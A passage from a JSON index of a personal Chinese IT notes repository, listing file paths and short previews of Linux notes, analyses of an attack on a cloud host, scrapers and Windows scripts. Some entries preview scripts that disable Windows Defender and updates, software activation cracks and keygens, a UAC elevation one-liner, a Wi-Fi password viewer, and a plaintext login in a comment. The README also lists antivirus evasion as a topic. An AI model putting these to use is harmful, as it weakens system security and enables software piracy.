"preview": "# 我的Linux入门之限制程序联网\n\n一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[expla"
},
{
"path": "AQUICK/CLINUX/LINUXINTRO-3.md",
"chars": 1783,
"preview": "# 我的Linux入门 下载及使用软件\n\n> 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[ex"
},
{
"path": "AQUICK/CLINUX/LINUXNANO-0.md",
"chars": 3826,
"preview": "# 记阿里云主机再一次被黑客恶意脚本攻击\n\n## 登录阿里云控制台,查看安全告警信息,并联系客服咨询有关事件详情\n\n接到手机上的短信,我及时联系了他们阿里云的客服,看了下控制台提供的黑客线索\n\n\n\n已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(前面两部分)\n\n## xz.sh部分,即卸载脚本\n\n参考信息源:\n\n* [bili_62374023667"
},
{
"path": "AQUICK/CLINUX/LINUXNANO-2.md",
"chars": 4283,
"preview": "# 记上次黑客入侵阿里云主机 —— 代码分析(中)\n\n已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(bk.sh)\n\n\n## bk.sh,推测是靶机脚本(if及json部分)\n\n### 第一层 if\n\n参考信"
},
{
"path": "AQUICK/CLINUX/LINUXNANO-3.md",
"chars": 3749,
"preview": "# 记上次黑客入侵阿里云主机 —— 代码分析(上)\n\n已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(bk.sh)\n\n## bk.sh,推测是靶机脚本(注入service部分)\n\n### `cat >/tmp"
},
{
"path": "AQUICK/CLINUX/LINUXNANO-4.md",
"chars": 2568,
"preview": "# 记上次黑客入侵阿里云主机 —— 入侵行为分析\n\n> ***防治手段转到[LINUXINTRO-0 SSH密钥策略](/LINUXINTRO-0.md)与[LINUXINTRO-0 FAIL2BAN策略](/LINUXINTRO-1.md"
},
{
"path": "AQUICK/CLINUX/LINUXNANO-5.md",
"chars": 2835,
"preview": "# 记上次黑客入侵阿里云主机 —— “ssh -D”事件专项分析\n\n> ***防治手段转到[LINUXINTRO-0 SSH密钥策略](/LINUXINTRO-0.md)与[LINUXINTRO-0 FAIL2BAN策略](/LINUXIN"
},
{
"path": "AQUICK/CLINUX/LINUXSWAP-0.md",
"chars": 2319,
"preview": "### ddos、堡垒机、云蜜罐\n\n* [csdn-什么是高防IP?](https://blog.csdn.net/qq_44887910/article/details/128775342)\n* [新网知识社区-常见的ddos防护方法有哪"
},
{
"path": "AQUICK/CLINUX/LINUXSWAP-1.md",
"chars": 8119,
"preview": "# python在Linux环境下编译安装过程随想\n\n## 结论前置\n\n不想看大篇幅理解安装python多版本的过程,可以直接照着我自己整理的结论,便可。\n\n* nix可适用于多个不同场景的程序语言开发版本环境部署和测试,进入到其nix s"
},
{
"path": "AQUICK/CLINUX/LINUXZERO-0.md",
"chars": 7849,
"preview": "# Linux中病毒后的排查\n\n## 前言\n\n日常备份及恢复快照是最简单省心的操作。没有有这方面措施的话,只能靠着经验,以及思考可能性(编程逻辑、受众面相),并参考相关病毒处理的资料(附带病毒源码的解读最好;有精力的朋友,也可再查查知网有什"
},
{
"path": "AQUICK/CLINUX/LINUXZERO-1.md",
"chars": 6082,
"preview": "# 自检与杀毒类民工科研究\n\n了解个大概怎么回事就行了,至少不要想黑盒测试一样。顺便还看了几篇还不错的排查文章:\n\n* [温州市公安局网络安全保卫支队-我的云服务器被植入挖矿木马,CPU飙升200%](https://baijiahao.b"
},
{
"path": "AQUICK/CLINUX/LINUXZERO-2.md",
"chars": 6239,
"preview": "# 登录密码及授权密钥简配,限制与封禁IP,并锁Root\n\n## SSH密钥与密码策略简化\n\n### 客户端\n\n本机会将这一登录信息保存在`~/.ssh/known_hosts`文件当中,再次登录到远程服务器不用输入密码。\n\n参数说明:\n\n"
},
{
"path": "AQUICK/CLINUX/LINUXZERO-3.md",
"chars": 9551,
"preview": "# Linux云服务器一键搭建自用FTP脚本\n\n在水区做了调查,大家普遍对Linux FTP搭建很简单,不过从我自己的实际搭建过程中却不太容易。为此特意做了开源与笔记化的一键脚本,注释全面,方便后续的学习与交流。\n\n* 安全:\n * 私"
},
{
"path": "AQUICK/CLINUX/LINUXZERO-4.md",
"chars": 6259,
"preview": "# Linux一键简单配置IP地址(永久生效)\n\n## 缘起\n\n我自己了解Linux的时间也不长,大概就最近阿里云和腾讯云白嫖的两月左右。从我自己的体验来看,Linux各项配置挺繁琐、容错率低,加上设置IP可算的上常用项了,一开始上就“vi"
},
{
"path": "AQUICK/CPYTHON/pachong001.md",
"chars": 1839,
"preview": "## 简单爬虫示例一\n\n### 简单入门\n\n爬虫简例:\n\n```python\nimport requests\n\nurl = 'https://www.example.com'\nresponse = requests.get(url)\n# 状"
},
{
"path": "AQUICK/CPYTHON/pachong002.md",
"chars": 1832,
"preview": "## 简单爬虫示例二\n\n### 简例一\n\n`pip install requests`\n\n```python\nimport requests\n\nurl = 'https://www.example.com'\nresponse = reque"
},
{
"path": "AQUICK/CPYTHON/pachong003.md",
"chars": 5281,
"preview": "# demo py\r\n\r\n## 获取网站标题\r\n\r\n简单的获取网站标题 demo\r\n\r\n```\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n# 定义需要爬取的网页链接\r\nurl = "
},
{
"path": "AQUICK/CPYTHON/pachong004.md",
"chars": 4381,
"preview": "# 写了一个关于 worldmeter 的爬虫\n\nworldometerworldometer这里提供关于人口、政府、经济、社会、媒体、环境、食物、水、能源和健康的世界实时统计数据的网站。实时数据,一时半会没什么用,看个乐子,但如果我们想它"
},
{
"path": "AQUICK/CPYTHON/pacong005.text",
"chars": 4814,
"preview": "## 0x01\n\n热搜通常是指搜索量较高的热门话题,它们往往是人们最为关注和讨论的话题。在热搜中,使用副词的频率可能会比一般新闻报道更高,因为这些话题往往涉及到更多的情感表达、评论和解读。\n\n具体来说,热搜中使用副词的频率会受到以下几个方面"
},
{
"path": "AQUICK/CPYTHON/pythonBshit001.md",
"chars": 2643,
"preview": "## 基础信息\n\nhttps://account.bilibili.com/api/member/getCardByMid?mid=212535360\n\nhttps://api.bilibili.com/x/space/acc/info?m"
},
{
"path": "AQUICK/CPYTHON/readme.md",
"chars": 1330,
"preview": "# 用 chatgpt 学 python 简单示例\n\n### 爬虫API\n\n以下是Python爬虫相关文档,可以供您参考:\n\n* Python官方文档:https://docs.python.org/3/library/index.html"
},
{
"path": "AQUICK/CRuby/readme.txt",
"chars": 494,
"preview": "\n[csdn - Ruby on Rails 入门之:(6) Ruby中常用运算符](https://blog.csdn.net/watkinsong/article/details/8019461)\n\ntitles.first(3).ea"
},
{
"path": "AQUICK/DTRASH/Dism++.md",
"chars": 3167,
"preview": "# Dism++封装系统(适用企业标装环境)\n\n### 操作与使用\n\n使用系统自带的sysprep工具的oobe选项,之后进PE,打开Dism++,选择C盘里的系统,点击“文件”,另存为映像wim文件即可。这里需要说明,并不是wim文件的镜"
},
{
"path": "AQUICK/DTRASH/DriverBooster.md",
"chars": 1888,
"preview": "[Windows] 驱动管理软件-Driver Booster Pro V10.3.0.124 (2022.3.10当前最新)\n\nDriver Booster这款软件,据多数网友反馈很不错。软件搬运至lrepacks,火绒正常。\n\n> Dr"
},
{
"path": "AQUICK/DTRASH/Windowsjxjbcg.md",
"chars": 5729,
"preview": "## Windows基线脚本\n\n### 内存条\n\n```powershell\nGet-WmiObject -Class Win32_PhysicalMemory | Select-Object -Property BankLabel, C"
},
{
"path": "AQUICK/DTRASH/bossAPI.md",
"chars": 8937,
"preview": "## bossAPI分析\n\n## 初步观察\n\n### 招聘条目\n\n招聘条目API\n\n```\nhttps://www.zhipin.com/wapi/zpgeek/search/joblist.json?scene=1&query=IT%E6"
},
{
"path": "AQUICK/DTRASH/choice_wdrt.md",
"chars": 8011,
"preview": "## 关闭Windows defender实时保护方案验证\n\n## 代码验证测试\n\n### 禁止实时保护bat\n\n如下指令是基于[v2ex - 如何永久关闭 Win10 的 defender 的实时保护](https://v2ex.com/"
},
{
"path": "AQUICK/DTRASH/diss_windows_update.md",
"chars": 14148,
"preview": "# 关闭Windows更新的批处理\n\n## 缘起\n\n做这个呢,一是看了[晨钟酱 -【更新能永久暂停?盘点两个奇特的Windows使用技巧】 ](https://www.bilibili.com/video/BV1FM4y1i76d)视频启发"
},
{
"path": "AQUICK/DTRASH/emeditor.md",
"chars": 3175,
"preview": "看到福利区 [分享两个EmEditor 终身授权激活码(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1756848-1-1.html),我是觉得下载文件在去查看太麻烦了,直接发个curl请求过去把序"
},
{
"path": "AQUICK/DTRASH/exif_test_pic/readme.txt",
"chars": 55,
"preview": "P50图片地址:https://zhongce.sina.com.cn/article/view/103759"
},
{
"path": "AQUICK/DTRASH/mac_corn_diy_wallpaper.md",
"chars": 4550,
"preview": "我·分析完必应搜索的html,虽已知道壁纸URL规律,不过找到了 [ioliu-每日必应壁纸站](http://bing.ioliu.cn) ,它让我没什么动力写爬虫了。不过,我想借此完成早前一闪而过小点子 —— “每天上下班时间段,各一"
},
{
"path": "AQUICK/DTRASH/regfinder.md",
"chars": 1288,
"preview": "## Registry Finder v2.56\n\nRegistry Finder 个人使用挺久的一款的注册表搜索编辑工具,相当文件搜索的 everything 工具。特点:搜索速度极快,支持编辑撤回,软件小巧也就5~6M,而且官网下载极快"
},
{
"path": "AQUICK/DTRASH/xlgzgxwwpc.md",
"chars": 2910,
"preview": "# 写了一个中国新闻网爬虫\n\n**免责声明:此爬虫仅供学习和研究目的使用。使用者应遵守相关国家和地区的法律法规,不得将本爬虫用于任何违反法律法规或侵犯他人合法权益的行为。最后,使用者应自行承担使用本爬虫所带来的风险和责任。如果不同意以上声明"
},
{
"path": "AQUICK/DTRASH/zhihu.md",
"chars": 1048,
"preview": "\n\n## 知乎整体概况\n\n大众型话题类问答网站是一个多领域覆盖广泛的平台,汇集了人们对各种话题的独特见解和观点。不论是科技、文化、社会、娱乐,还是其他领域,都能在这个网站找到相关的问题和讨论。每个话题都有其独特之处,人们在这里分享自己的知识"
},
{
"path": "AQUICK/DTRASH/zhihuapi.md",
"chars": 2429,
"preview": "# 知乎API分析\n\n回答者基本信息\n\n```\nhttps://www.zhihu.com/api/v4/members/zong-you-diao-min-xiang-hai-zhen-1-58-56?include=allow_mess"
},
{
"path": "AQUICK/DTRASH/zixfx.md",
"chars": 3372,
"preview": "\n## 常见平台热搜与辟谣信息分析\n\n### 一键获取今日头条、抖音、微博热搜。[图文版](https://www.52pojie.cn/thread-1785460-1-1.html) (NLP:[Stanza](https://stan"
},
{
"path": "AQUICK/DTRASH/zzchinanewslc.md",
"chars": 7141,
"preview": "# 制作中国新闻网爬虫的历程\n\n这主要是受[csdn-Python爬取新闻信息,分词统计并画词云](https://blog.csdn.net/xukeke12138/article/details/117167932)启发,中途也写了百度"
},
{
"path": "AQUICK/category_news.json",
"chars": 75232,
"preview": "{\n \"娱乐\": [\n \"太酷了\",\n \"Cool\",\n \"打赏\",\n \"重生\",\n \"魔兽\",\n \"甜度\",\n \"心眼\",\n "
},
{
"path": "AQUICK/readme.md",
"chars": 2277,
"preview": "图片存档\n\n机场 VPN\n\n* https://jichangvpn.github.io\n* https://glados.rocks\n* https://samsock.chat\n* https://sjssr.fun/ info@we"
},
{
"path": "Gemfile",
"chars": 187,
"preview": "source 'https://rubygems.org'\ngem 'nokogiri'\ngem 'open-uri'\ngem 'spreadsheet'\ngem 'selenium-webdriver'\ngem 'danmu'\ngem '"
},
{
"path": "PICGO.md",
"chars": 793,
"preview": "## PicGo\n\n**⚠️ 需注意:上传文件名重复的文件会有报错。**\n\npicgo 有squoosh压缩图片神器批量压缩图片并上传,节约图床存储空间。而且删除本地相册文件不影响远程图床仓,方便查找预览以及快速浏览。\n\n\n返回路径为\n\n`"
},
{
"path": "README.md",
"chars": 33226,
"preview": "## 免责声明:所有内容仅面向信息研究、学习交流等,正常合规化使用。谢谢。\n\n## 前言\n\n项目涉及跨学科信息化综合应用与分析:桌面基线排查、软件激活破解、免杀及特权执行、渗透式支援固件识别读写、主机账户密码空值检测、Wi-Fi密码扫描、云"
},
{
"path": "d-apple/no_ms_autoupdate.scpt",
"chars": 128,
"preview": "do shell script \"rm -rf '/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app'\" with administrator pri"
},
{
"path": "d-apple/office2021.scpt",
"chars": 89,
"preview": "tell application \"Safari\"\n open location \"https://s.id/1d4gZ\"\n activate\nend tell\n"
},
{
"path": "d-bat/add_env_path.bat",
"chars": 1274,
"preview": "@echo off\r\n\r\nREM ʾû·\r\nset /p newPath=Ҫӵ·\r\n\r\nREM ȡ·\r\nset \"desktopPath=%userprofile%\\Desktop\"\r\n\r\nREM ݵǰû PATH ıļ\r\npowershe"
},
{
"path": "d-bat/auto_request.bat",
"chars": 1050,
"preview": "@REM 已知深信服web端上网登录\n@REM curl -d \"opr=pwdLogin&userName=panxing&pwd=20200818&rememberPwd=0\" http://10.100.0.1/ac_portal/l"
},
{
"path": "d-bat/choice_wdrt.bat",
"chars": 1031,
"preview": "@echo off\r\n:: https://bbs.huaweicloud.com/blogs/396537\r\n:: \"C:\\Program Files (x86)\\NSudo_8.2_All_Components\\NSudo Launch"
},
{
"path": "d-bat/clean_icon_cache.bat",
"chars": 1448,
"preview": "@REM رWindowsdzexplorer\r\n@REM ǿƽexplorer.exẹرԴ\r\ntaskkill /f /im explorer.exe\r\n\r\n@REM ϵͳͼ껺ݿ\r\n@REM ͨͼ껺ݿļԣȷɾ\r\nattrib -h -s"
},
{
"path": "d-bat/clear_nullify_startup_reg.bat",
"chars": 1016,
"preview": "@echo off\r\n\r\nset \"regPath=HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\r\n\r\n@REM ·ӵעе LastKey ֵ\r\n@REM "
},
{
"path": "d-bat/demo.bat",
"chars": 8109,
"preview": "::------ 须重启及细节方面的相关设置 -------\r\n@REM https://admx.help\r\n@REM learn Microsoft\r\n\r\n@REM 特权提升 (小细节)\r\n%1 C:\\Windows\\SysWOW64\\"
},
{
"path": "d-bat/deny_chrome_update.bat",
"chars": 664,
"preview": "@echo off\r\n@%1 C:\\Windows\\SysWOW64\\mshta.exe vbscript:CreateObject(\"Shell.Application\").ShellExecute(\"cmd.exe\",\"/c %~s0 "
},
{
"path": "d-bat/fix_0x11b_share_print.bat",
"chars": 806,
"preview": "\r\n@%1 C:\\Windows\\SysWOW64\\mshta.exe vbscript:CreateObject(\"Shell.Application\").ShellExecute(\"cmd.exe\",\"/c %~s0 ::\",\"\",\"r"
},
{
"path": "d-bat/fuck_dingding.bat",
"chars": 760,
"preview": "@REM 网页资源链接来自腾讯下载中心 (百度,钉钉,腾讯下载中心,普通下载)\r\n\r\n@echo off\r\n@REM 特权提升会带来powershell的抛异常,故注释\r\n@REM @%1 C:\\Windows\\SysWOW64\\mshta"
},
{
"path": "d-bat/fxxk_chxxa.bat",
"chars": 822,
"preview": "\r\n@echo \"将当前环境统一换成 C:\\Windows\\System32\" \r\n@pushd C:\\Windows\\System32\r\n\r\n@echo 正在下载 chromium87,请稍候....\r\n\r\n@set chromium87"
},
{
"path": "d-bat/icon_bar_reset.bat",
"chars": 3354,
"preview": "rem رWindowsdzexplorer\r\ntaskkill /f /im explorer.exe\r\n\r\nrem ϵͳͼ껺ݿ\r\nattrib -h -s -r \"%userprofile%\\AppData\\Local\\IconCache"
},
{
"path": "d-bat/ie_web_setting_demo.bat",
"chars": 5141,
"preview": "@SETLOCAL ENABLEDELAYEDEXPANSION\r\n\r\n\r\n@ECHO OFF\r\n\r\n@CLS\r\n\r\n@ECHO ON\r\n\r\n\r\n@ECHO ʼIEл.......\r\n\r\n@ECHO.&&ECHO.\r\n\r\n@echo IE8"
},
{
"path": "d-bat/install_jdk.bat",
"chars": 1186,
"preview": "echo \"javaԶװ\"\r\n@echo off\r\n:: IF NOT EXIST C:\\Users\\%USERNAME%\\Downloads\\java.msi (curl -o C:\\Users\\%USERNAME%\\Downloads\\"
},
{
"path": "d-bat/keep_ie.bat",
"chars": 1119,
"preview": "@REM \"win10ʹþͺãwin11ϵͳСIEߣлָIE11ͼ꣬ʹøù߷ٳ֡\"\r\n\r\n@echo off\r\nreg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explore"
},
{
"path": "d-bat/md5tools.bat",
"chars": 4284,
"preview": "@%1 C:\\Windows\\SysWOW64\\mshta.exe vbscript:CreateObject(\"Shell.Application\").ShellExecute(\"cmd.exe\",\"/c %~s0 ::\",\"\",\"run"
},
{
"path": "d-bat/mieba.bat",
"chars": 2733,
"preview": "@echo off\r\ncls\r\n\r\nREM Start-Process -FilePath \"1.bat\" -Wait\r\nREM cmd /c 1.bat\r\n\r\nrem ANSIתԸıɫ\r\nset \"red=\u001b[1;31m\"\r\nset \"g"
},
{
"path": "d-bat/nano_runas.bat",
"chars": 1166,
"preview": " \r\n@REM ĸȱʧ ûе CRLF Եʡ\r\n@REM echo\\\r\n@REM οԴhttps://www.52pojie.cn/thread-1768615-1-1.html\r\n\r\n@echo off\r\n\r\n:Loop \r\ncls\r"
},
{
"path": "d-bat/oh_my_wifi.bat",
"chars": 429,
"preview": "@REM ȨҼԹԱ\r\n%1 C:\\Windows\\SysWOW64\\mshta.exe vbscript:CreateObject(\"Shell.Application\").ShellExecute(\"cmd.exe\",\"/c %~s0 "
},
{
"path": "d-bat/only_install_chrome65.bat",
"chars": 3833,
"preview": "@REM 注意将下载的代码编码另转GB2312格式,否则在Windows系统会出现乱码。\r\n@echo off\r\n@%1 C:\\Windows\\SysWOW64\\mshta.exe vbscript:CreateObject(\"Shell."
},
{
"path": "d-bat/re_update.bat",
"chars": 5044,
"preview": ":: ǰעͱ\r\n\r\n:: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language"
},
{
"path": "d-bat/reset_keep_ie.bat",
"chars": 549,
"preview": "@REM IEٳedgeĻĬEDGE\r\n\r\n@echo off\r\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\" /v \"Enable B"
},
{
"path": "d-bat/right-menu.bat",
"chars": 981,
"preview": "@echo off\r\necho ѡҪִеIJ\r\necho 1. عWin10Ҽ˵\r\necho 2. ָWin11汾Ҽ˵\r\necho 3. ˳\r\n\r\nchoice /c 123 /n /m \"밴ѡ\"\r\n\r\ngoto option_%error"
},
{
"path": "d-bat/saigonoie.bat",
"chars": 14865,
"preview": "@REM ------------- ȨرUAC---------------------------\r\n\r\n@REM [csdn-batԹԱȨеʵַ](https://blog.csdn.net/NeiHan2020/article/de"
},
{
"path": "d-bat/seven_z_sensei.bat",
"chars": 2253,
"preview": "\r\n@echo off\r\n@REM ӳٱ\r\nsetlocal EnableDelayedExpansion\r\n@REM pythonȡʱ䣬αϢ\r\necho\\\r\npython -c \"import datetime;now=datetime."
},
{
"path": "d-bat/show_wifi.bat",
"chars": 1957,
"preview": "@echo off\r\n\r\n:: ----------- Ȩ -----------\r\n\r\n@REM ҼлǹԱЩ鷳\r\n@REM ˱أʹã\r\n@REM ƶļûĿ¼ PASS\r\n@REM زԣȨ´ںն˶Զά벻ݣPASS\r\n\r\n\r\n:: ----"
},
{
"path": "d-bat/stop_update.bat",
"chars": 5376,
"preview": ":: ǰעͱ\r\n\r\n:: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language"
},
{
"path": "d-bat/unlockapp.bat",
"chars": 1844,
"preview": "@echo off\r\nsetlocal\r\n\r\nset /p \"targetPath=ҪĿ¼:\"\r\n\r\n@REM ȥ·߿ܴڵ\r\nset \"targetPath=%targetPath:\"=%\"\r\n\r\n@REM ж·Ƿ\r\nif not exis"
},
{
"path": "d-bat/webtools.bat",
"chars": 1678,
"preview": "@echo off\r\n:start\r\necho ѡ:\r\necho 1. kimi ^& \r\necho 2. Ƶ/ת//ȥˮӡ\r\necho 3. Video/IMG/PDF\r\necho 4. ^& ʱ\r\necho 5. \r\necho 6. "
},
{
"path": "d-bat/weipe_showip.bat",
"chars": 177,
"preview": "@REM PEעIJѯ·ȫʶ\r\n@REG LOAD HKLM\\TempLookIp C:\\Windows\\System32\\config\\SYSTEM\r\n@REM ݹѯ\r\n@REG QUERY HKLM\\TempLookIp\\ControlS"
},
{
"path": "d-bat/winrar_down_reg.bat",
"chars": 1471,
"preview": "\r\n@echo \"ע⣺ԹԱȨиwinRARһذװעἤű\"\r\n@echo\r\n@echo \"滻ڴ˺棬عٷҵWinRARλCĿ¼\"\r\n\r\n@echo off\r\npowershell -command Invoke-WebRequest -Uri "
},
{
"path": "d-bat/zhuang_ji_yuan.bat",
"chars": 4963,
"preview": "@echo off\r\n@REM ĬԹԱȨ RegistryFinder ע\r\n@REM reg add \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\La"
},
{
"path": "d-bat-dc/readme.txt",
"chars": 5,
"preview": "域控专属\n"
},
{
"path": "d-bat-dc/从网络共享复制到本地,更新hosts.bat",
"chars": 164,
"preview": "@echo off\r\nrem 繲ļļ\r\nxcopy /s /y \"\\\\172.16.1.254\\it\\hosts\" \"C:\\Windows\\System32\\drivers\\etc\"\r\n\r\necho ļɣʾhosts ı\r\ntype C:"
},
{
"path": "d-bat-dc/定时关机.bat",
"chars": 2471,
"preview": "@echo off\r\nsetlocal enabledelayedexpansion\r\n\r\nrem Ŀʱ\r\nset targetTime=2025-12-26 15:51:00\r\n\r\nrem ֱ趨ǰʱ䣨ֶ\r\n@REM set currYea"
},
{
"path": "d-bat-dc/自动内外网识别与切换.bat",
"chars": 1259,
"preview": "@echo off\r\ncls\r\n\r\n:: ӿ\r\nset interface=\"̫\"\r\n\r\n:: һʱļ洢 netsh \r\nset temp_file=%temp%\\dhcp_status_output.txt\r\n\r\n:: ȡӿϢ浽ļ\r\nne"
},
{
"path": "d-ipynb/“小粉红”群体分析.ipynb",
"chars": 9772,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"## 《青年网络爱国主义的"
},
{
"path": "d-ipynb/亚文化视域评论及弹幕调研.ipynb",
"chars": 2667,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"# 就“嗑CP”、“萌宠”"
},
{
"path": "d-ipynb/就业形势分析及预防欺诈对策.ipynb",
"chars": 18963,
"preview": "{\n \"cells\": [\n {\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"# 就业形势分析及预防欺诈对策\"\n ]\n },\n {\n \""
},
{
"path": "d-ipynb/平台兼容问题.ipynb",
"chars": 2815,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"## 0x01\\n\",\n "
},
{
"path": "d-ipynb/打印机自动化安装研究.ipynb",
"chars": 12279,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"# 打印机自动化安装研究\\"
},
{
"path": "d-ipynb/民生及时评类新闻基础分析.ipynb",
"chars": 5806,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"## 民生类新闻,以《18"
},
{
"path": "d-ipynb/读《“帝吧出征”事件中话语表达与社群动员研究》.ipynb",
"chars": 13486,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"## 短序\\n\",\n "
},
{
"path": "d-ipynb/读《数字原住民网络潜水动因实证研究》.ipynb",
"chars": 12505,
"preview": "{\n \"cells\": [\n {\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"# 读《数字原住民网络潜水动因实证研究》\\n\",\n \"\\n\",\n"
},
{
"path": "d-ipynb/读《论马克思主义威望下降的原因》.ipynb",
"chars": 5340,
"preview": "{\n \"cells\": [\n {\n \"attachments\": {},\n \"cell_type\": \"markdown\",\n \"metadata\": {},\n \"source\": [\n \"# 读【董德刚:论马克思主"
},
{
"path": "d-json/bosszhipin_citycode.json",
"chars": 255633,
"preview": "{\n \"code\": 0,\n \"message\": \"Success\",\n \"zpData\": {\n \"cityGroup\": [\n {\n \"firstCh"
},
{
"path": "d-json/category_news.json",
"chars": 75232,
"preview": "{\n \"娱乐\": [\n \"太酷了\",\n \"Cool\",\n \"打赏\",\n \"重生\",\n \"魔兽\",\n \"甜度\",\n \"心眼\",\n "
},
{
"path": "d-json/category_news_demo.json",
"chars": 222,
"preview": "{\n \"时政\": [\"外交\", \"国会\", \"选举\", \"政府\", \"领导人\"],\n \"社会\": [\"教育\", \"医疗\", \"环境\", \"就业\", \"人口\"],\n \"科技\": [\"人工智能\", \"虚拟现实\", \"机器学习\""
},
{
"path": "d-json/dingyu_demo.json",
"chars": 1815,
"preview": "{\n \"名词\": [\n {\n \"type\": \"人名\",\n \"words\": [\"李克强\", \"习近平\", \"王毅\"]\n },\n {\n \"type\": \"机构名\",\n \"words"
},
{
"path": "d-json/exam_zhipin_demo.json",
"chars": 255441,
"preview": "[\n {\n \"code\": 0,\n \"message\": \"Success\",\n \"zpData\": {\n \"hasMore\": true,\n \"j"
},
{
"path": "d-json/fenlei_pypt.json",
"chars": 61319,
"preview": "{\n \"人体健康\": [\n \"发烧\",\n \"咳嗽\",\n \"牙刷\",\n \"生活\",\n \"提高\",\n \"发烧\",\n \"中毒\",\n "
},
{
"path": "d-json/thulac_wd_attr_cn.json",
"chars": 538,
"preview": "{\n \"n\": [\"名词\"],\n \"np\": [\"人名\"],\n \"ns\": [\"地名\"],\n \"ni\": [\"机构名\"],\n \"nz\": [\"其他专名\"],\n \"m\": [\"数词\"],\n \"q\": "
},
{
"path": "d-latex/figures/readme.txt",
"chars": 4,
"preview": "pic\n"
},
{
"path": "d-latex/latexdemo.tex",
"chars": 4763,
"preview": "\\documentclass{article}\n\\usepackage{CJKutf8}\n\\usepackage{graphicx}\n\\usepackage{subfigure}\n\\usepackage{listings}\n\\usepack"
},
{
"path": "d-pwsh/add_env_path.ps1",
"chars": 2565,
"preview": "# û·\r\n$newPath = Read-Host \"Ҫӵ·\"\r\n\r\n# ȡ·\r\n$desktopPath = [Environment]::GetFolderPath(\"Desktop\")\r\n\r\n# ݵǰû PATH ıļ\r\n$curr"
},
{
"path": "d-pwsh/clac_ie_clearablelistdata_hex.ps1",
"chars": 2597,
"preview": "# 使用说明\r\n# 下载到本地使用,需转成 GB2312 编码,否则中文乱码\r\nFunction Get-WebsiteHex(){\r\n [CmdletBinding()]\r\n param(\r\n [Paramete"
},
{
"path": "d-pwsh/emeditor_random_keygen.ps1",
"chars": 2631,
"preview": "# 发现一个升级的aiu文件,删不删随喜吧,\"C:\\ProgramData\\Emurasoft\\EmEditor\\updates\\emed64_updates4u.aiu\"\r\n# 摇骰子1~6点随机选一个 emeditor key。\r\n# "
},
{
"path": "d-pwsh/ez_auto_install.ps1",
"chars": 703,
"preview": "# ˵\r\n# ԸPDFĶͬĴʽĬã\r\necho \"ʾҪԶװĿ¼ļмɡ\"\r\n\r\n# foreachĿ¼\r\n$rawPath = \"C:${Env:\\HOMEPATH}\\Downloads\\\";\r\n$allFile = Get-ChildIt"
},
{
"path": "d-pwsh/ez_edit_net.ps1",
"chars": 2540,
"preview": "# ˵\r\n# 1. һ˵IPóIPֲַͨǹ̶ģʡֻһIP\r\n# 2. hostsCMDԱ±д... notepad C:\\Windows\\System32\\drivers\\etc\\hosts\r\n# 3. ʹãnslookupܵӰ죬ƲΪ"
},
{
"path": "d-pwsh/fail_idm.ps1",
"chars": 11433,
"preview": "# *************עϢ˵******************\r\n\r\n## HKLMøؼϵͳϢӲͲϵͳϢȫݺͼרõĸϢ\r\n## HKUЩϢϵͳǰûʹõͼ꣬ij飬ʼ˵Լɫ\r\n## HkCUøǰ¼ûϢ˳Լõ\r\n## HKCC: ӲϢ\r\n"
},
{
"path": "d-pwsh/frontline_helpdesk.ps1",
"chars": 52881,
"preview": "# 使用说明\r\n# 下载到本地使用,需转成 GB2312 编码,否则中文乱码\r\nfunction sel_man {\r\n\r\n # 开启PowerShell:Set-ExecutionPolicy RemoteSigned\r\n #"
},
{
"path": "d-pwsh/photoview.ps1",
"chars": 17396,
"preview": "# Ƭ鿴 - PowerShell 汾\n# Ϊ PhotoViewerFix.ps1\n\n# ԱȨ\nfunction Test-Administrator {\n $currentPrincipal = New-Object Secur"
},
{
"path": "d-pwsh/win11_htp_active_lite.ps1",
"chars": 1323,
"preview": "# GB2312\r\necho \" \"\r\necho \"win11ͥԶרҵ棬win11 Pro汾ϵͳֱWindows/Officeؼ\"\r\necho \"ע⣺ڼͥڼ䣬ԻԶҪٴָ\"\r\necho \" \"\r\n# [System.Convert]::ToB"
},
{
"path": "d-pwsh/xchange_v8_active.ps1",
"chars": 3191,
"preview": "$setsume = \"\r\n`n\r\n ==ROFL:ROFL:ROFL:ROFL== #-----------------------------------˵----------------------\r\n _^___\r\n"
},
{
"path": "d-pwsh-dc/NTFS权限基础上转换为共享权限.ps1",
"chars": 3658,
"preview": "# ûļ·\r\n$folderPath = Read-Host -Prompt \"ļ·磺C:\\ļ\\ʼ죩\"\r\n\r\n# ûĹ\r\n$shareName = Read-Host -Prompt \"빲ƣ磺ʼ죩\"\r\n\r\ntry {\r\n # ȡļе "
},
{
"path": "d-pwsh-dc/readme.txt",
